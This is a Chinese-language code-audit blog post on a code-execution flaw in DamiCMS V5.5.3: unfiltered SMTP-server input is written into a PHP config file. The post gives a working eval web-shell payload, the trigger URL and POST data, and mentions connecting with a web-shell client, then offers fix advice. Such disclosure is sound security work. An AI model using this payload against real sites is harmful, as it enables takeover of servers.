【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备
大米CMS官网:http://www.damicms.com
网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)
程序源码下载:http://www.damicms.com/downes/dami.rar
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/Admin/Lib/Action/ConfigAction.class.php 第213-225行:
- $config_file = "./Public/Config/config.ini.php";
- $fp = fopen($config_file,"r");
- $configStr = fread($fp,filesize($config_file));
- fclose($fp);
- $configStr = preg_replace("/'MAIL_TRADE'=>.*.,/","'MAIL_TRADE'=>".htmlspecialchars($_POST['MAIL_TRADE']).",",$configStr);
- $configStr = preg_replace("/'MAIL_SMTP_SERVER'=>'.*'/","'MAIL_SMTP_SERVER'=>'".(string)$_POST['MAIL_SMTP_SERVER']."'",$configStr);
- $configStr = preg_replace("/'MAIL_FROM'=>'.*'/","'MAIL_FROM'=>'".htmlspecialchars($_POST['MAIL_FROM'])."'",$configStr);
- if(C('MAIL_PASSSWORD') != $_POST['MAIL_PASSSWORD']){$configStr = preg_replace("/'MAIL_PASSSWORD'=>'.*'/","'MAIL_PASSSWORD'=>'".dami_encrypt($_POST['MAIL_PASSSWORD'])."'",$configStr);}
- $configStr = preg_replace("/'MAIL_TOADMIN'=>'.*'/","'MAIL_TOADMIN'=>'".htmlspecialchars($_POST['MAIL_TOADMIN'])."'",$configStr);
10. $configStr = preg_replace("/'MAIL_PORT'=>.*.,/","'MAIL_PORT'=>".htmlspecialchars($_POST['MAIL_PORT']).",",$configStr);
11. $fp = fopen($config_file,"w") or die("<script>alert('写入配置失败,请检查安装目录/Public/Config/config.ini.php是否可写入!');history.go(-1);</script>");
12. fwrite($fp,$configStr);
13. fclose($fp);
这段函数中,首先读取配置文件,然后通过正则匹配字符串,最后写入配置中。我们可以看到MAIL_TRADE、MAIL_FROM、MAIL_TOADMIN、MAIL_PORT等参数是用通过htmlspecialchars函数处理,MAIL_PASSSWORD是经过加密处理的,然后写入配置文件的。唯独只有一个MAIL_SMTP_SERVER参数是没有任何处理的,直接写入配置文件的。攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限
0x02 漏洞利用
1、登录后台, 网站配置--邮件发送配置—填写Payload—保存设置:
Payload: ',1=>eval($_POST[g]),'xx'=>'
2、直接访问配置文件地址:http://127.0.0.1/Public/Config/config.ini.php 是无法成功触发脚本代码的,因为在 config.ini.php开头有一句代码:
- <?php
- if (!defined('THINK_PATH')) exit();
3、如何去触发代码执行漏洞呢?
全局搜索包含“Public/Config/config.ini.php”的文件
4、选择一个利用构造链接的url,如/Admin/Lib/Action/ConfigAction.class.php文件,构造的链接形式如下,可成功触发代码执行漏洞:
Payload:http://127.0.0.1/admin.php?s=/Config/index
POST: g=phpinfo();
5、通过菜刀连接,控制网站服务器:
0x03 修复建议
1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;
2、全局配置可考虑写入数据库进行调用。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
【代码审计】大米CMS_V5.5.3 代码执行漏洞分析的更多相关文章
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- 转:甲骨文发布大数据解决方案 含最新版NoSQL数据库
原文出处: http://www.searchdatabase.com.cn/showcontent_88247.htm 以下是部分节选: 最新发布的大数据创新成果包括: Oracle Big Dat ...
- HTML篇之CSS样式:<button></button>按钮变成超链接<a></a>的样式
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- ios webview下纯JS实现长按
app,其中有长按LI列表弹出菜单,只要清楚五个方法就行:ontouchstart.ontouchmove.ontouchend.setTimeout.clearTimeout 1.首先在我们按下手指 ...
- 奇怪吸引子---LuChen
奇怪吸引子是混沌学的重要组成理论,用于演化过程的终极状态,具有如下特征:终极性.稳定性.吸引性.吸引子是一个数学概念,描写运动的收敛类型.它是指这样的一个集合,当时间趋于无穷大时,在任何一个有界集上出 ...
- 服务器能远程连接,网络连接正常,但是外网域名Ping不通,浏览器中打不开网站
服务器能远程连接成功,但在浏览器中打不开任何网站,出现这个问题一般是安装什么软件引起IE的相关设置做了变动或者是服务器中了病毒引起的,或是服务器的DNS设置是错误的. 一.先检查服务器DNS是否正确 ...
- JS中 HTMLEncode和HTMLDecode
<!--js伪编码解码--><script language="javascript" type="text/javascript">f ...
- MySQL 5.6新特性 -- Index Condition Pushdown
Index Condition Pushdown(ICP)是针对mysql使用索引从表中检索行数据时的一种优化方法. 在没有ICP特性之前,存储引擎根据索引去基表查找并将数据返回给mysql se ...
- IOS开发之Core Location
IOS 支持三种检测当前位置的方式:手机基站.Wi-Fi.和GPS,其中GPS是经度最高的,同时也是最耗费手机电量的.一般情况下在室内是无法通过GPS获 取位置信息的,通过Wi-Fi获取位置的原理是通 ...
- (3) MySQL分区表使用方法
1. 确认MySQL服务器是否支持分区表 命令: show plugins; 2. MySQL分区表的特点 在逻辑上为一个表,在物理上存储在多个文件中 HASH分区(HASH) HASH分区的特点 根 ...
- Android Studio 运行出现 Multiple dex files define Landroid/support/annotation/AnimRes 解决方法
引入的工程的android-support-v4.jar版本跟自己工程的android-support-v4.jar的版本不一样